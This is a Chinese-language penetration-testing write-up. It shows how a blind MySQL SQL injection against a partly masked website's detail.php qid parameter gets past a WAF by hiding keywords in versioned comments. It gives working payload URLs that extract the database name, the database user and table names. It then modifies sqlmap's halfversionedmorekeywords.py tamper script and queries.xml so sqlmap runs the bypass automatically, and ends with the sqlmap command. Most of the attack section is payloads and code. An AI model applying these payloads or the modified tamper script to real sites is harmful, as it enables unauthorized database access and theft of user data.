前言
渗透测试过程中遇到注入点常常丢到sqlmap中进行测试,假如网站有waf,sqlmap便无法直接注入了。
测试
在测试某个项目的过程中,一个页面的aid参数,习惯性的提交 and 1=1发现直接403了。
测试了其他的一些参数,发现过滤了大部分的注入命令,但是可以利用mysql的注释方法进行绕过,例如网站会拦截sleep()函数,可以利用/!50000sleep(5)/绕过拦截,接上url试试:
http://**.com/lightapp/detail.php?qid=17364076 and /*!50000sleep(5)*/
发现会sleep几秒 :),看来是存在sql注入的,先获取下数据库的长度:
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=1
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=2
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=3
...
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/length(database())=8
到8的时候网页返回正确,可以获取到当前的数据库长度为8,继续往下猜:
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(database(),8)=CHAR(115,105,116,101,100,97,116,97)
最终猜出的数据库名为:
sitedata
可以使用如下语句得出当前数据库用户为:
mysql_data@192.168.113.8
http://**.com/lightapp/detail.php?qid=17364076/*!50000and*/left(user(),23)=CHAR(109,121,115,113,108,95,100,97,116,97,64, 49,57,50,46,49,54,56,46,49,49,51,46,56)
查询当前数据库的第一个表名的长度可以使用语句:
http://**.com/lightapp/detail.php?qid=17364076/*!and*/length((select/*!50000table_name*//*!from*//*!information_schema.t ables*/limit+0,1))=13
得出第一个数据表名的长度为13,试查询第二个数据表的表名,使用语句:
http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab les*/limit+1,1),1)=char(99)
使用上述语句得到表名第一个字符的ascii码,依次类推:
http://**.com/lightapp/detail.php?qid=17364076/*!and*/left((select/*!50000table_name*//*!from*//*!information_schema.tab les*/limit+1,1),17)=char(99,108,105,101,110,116,95,117,115,101,114,110,97,109,101,100,98)
得到第二个数据表的表名为
client_usernamedb
依次类推变可查询到所有数据。
修改Sqlmap tamper
\sqlmap\tamper目录
apostrophemask.py
apostrophenullencode.py
appendnullbyte.py
base64encode.py
between.py
bluecoat.py
chardoubleencode.py
charencode.py
charunicodeencode.py
commalesslimit.py
commalessmid.py
concat2concatws.py
equaltolike.py
escapequotes.py
greatest.py
halfversionedmorekeywords.py
htmlencode.py
ifnull2ifisnull.py
informationschemacomment.py
lowercase.py
modsecurityversioned.py
modsecurityzeroversioned.py
multiplespaces.py
nonrecursivereplacement.py
overlongutf8.py
percentage.py
plus2concat.py
randomcase.py
randomcomments.py
securesphere.py
space2comment.py
space2dash.py
space2hash.py
space2morehash.py
space2mssqlblank.py
space2mssqlhash.py
space2mysqlblank.py
space2mysqldash.py
space2plus.py
space2randomblank.py
sp_password.py
symboliclogical.py
unionalltounion.py
unmagicquotes.py
uppercase.py
varnish.py
versionedkeywords.py
versionedmorekeywords.py
xforwardedfor.py
可惜的是没有合适本次注入点的脚本。
下面利用halfversionedmorekeywords.py这个脚本做修改,即可绕过上面的注入,看一下脚本中注释部分:
\sqlmap\tamper\halfversionedmorekeywords.py
38行
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
修改为:
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0 CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
可以看到这个脚本所实现的效果是替换空格和关键字为/*!0,可将脚本的第45行:
return match.group().replace(word, "/*!0%s" % word)
修改为:
return match.group().replace(word, "/*!50000%s*/" % word)
可以绕过第一步拦截,接着将sqlmap其他提交payload的地方进行修改,程序只要将关键字进行/!50000关键字/就会绕过拦截,这个注入同时会拦截cast函数,可将其改成convert函数也可以绕过拦截,sqlmap/xml/queries.xml改为convert(%s,CHAR),dbms一定要对应相同类型的数据库,代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- MySQL -->
<dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/>
<limit query="LIMIT %d,%d"/>
Cast部分修改为:
<cast query="convert(%s,CHAR)"/>
为了让读者更加理解为什么要在这里修改,推荐读者看一篇文章:
改完后执行:
python sqlmap.py -u "http://**.com/lightapp/detail.php?qid=17364076" –tamper "halfversionedmorekeywords.py"
总结
简单的总结下,Sqlmap tamper提供了很多的demo,我们可以根据实际情况进行相应的修改应用即可。